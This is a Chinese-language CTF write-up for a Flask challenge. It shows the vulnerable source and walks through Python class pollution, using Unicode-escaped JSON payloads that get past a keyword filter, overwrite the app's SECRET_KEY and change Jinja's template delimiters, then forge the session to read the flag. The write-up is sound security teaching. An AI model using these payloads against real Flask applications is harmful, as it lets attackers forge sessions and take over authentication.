线下打的时候,没网,有些细节没弄好,最后没搓出来,有点可惜。

环境搭建:

img

给出了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re

def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)

return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
def __init__(self):
pass

@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("important.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True, port=80)

乍一看以为是原型链污染flask的secret_key后读取flag.

构造原始的污染链子:

1
2
3
4
5
6
7
8
9
10
11
{
"__init__": {
"__globals__": {
"app": {
"config": {
"SECRET_KEY": "Dragonkeep"
}
}
}
}
}

题目对init等关键词进行了过滤,这里使用Unicode进行绕过。

1
2
3
4
5
6
7
8
9
10
11
{
"\u005F\u005F\u0069nit\u005F\u005F": {
"\u005F\u005F\u0067lobals\u005F\u005F": {
"\u0061pp": {
"config": {
"SECRET\u005FKEY": "Dragonkeep"
}
}
}
}
}

可以在污染后对其session进行解密,看看是否成功污染。

img

img

污染后再/admin界面对username和password进行赋值,注意,这里它是从session进行读取username的,线下时候没注意看,以为是直接post提交,卡了很久(审计代码要认真!!)

如果是使用bp发包的话,建议使用flask-session-cookie-manager伪造session,毕竟已经污染了SECRET_KEY,可以随意构造。

img

img

发现渲染模板的方式和原本jinja{{flag}}的不一样,这时候需要污染它的渲染语法规则,在https://jinja.palletsprojects.com/en/3.1.x/api/#jinja2.Environment中有介绍。

img

在Flask下有个jinja_env中就包括这些语法规则,注意它是有缓存机制(线下没做出来,就因为这个)

1
2
3
4
5
6
7
8
9
10
11
12
{
"\u005F\u005F\u0069nit\u005F\u005F": {
"\u005F\u005F\u0067lobals\u005F\u005F": {
"\u0061pp": {
"jinja\u005F\u0065nv": {
"variable\u005Fstart\u005F\u0073tring": "[%",
"variable\u005Fend\u005F\u0073tring": "%]"
}
}
}
}
}

如果发包到/admin渲染了important.html之后,jinja的缓存机制会把这个模板的渲染方式加载到缓存,这时候如果再进行污染的话,只会对后面渲染的模板生效,一般解题的话,如果已经加载到缓存的话,可以直接重启容器来解决这个问题。

img

整个步骤就是先污染SECRET_KEY,后再污染variable_start_string和variable_end_string,最后使用session访问/admin即可拿到flag。

参考文章:

https://xz.aliyun.com/t/13072?time__1311=mqmxnDBDuDcAiQ3DsD7mN0%3DXxIQQWK7s4D&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-13

https://tttang.com/archive/1876/#toc_jinja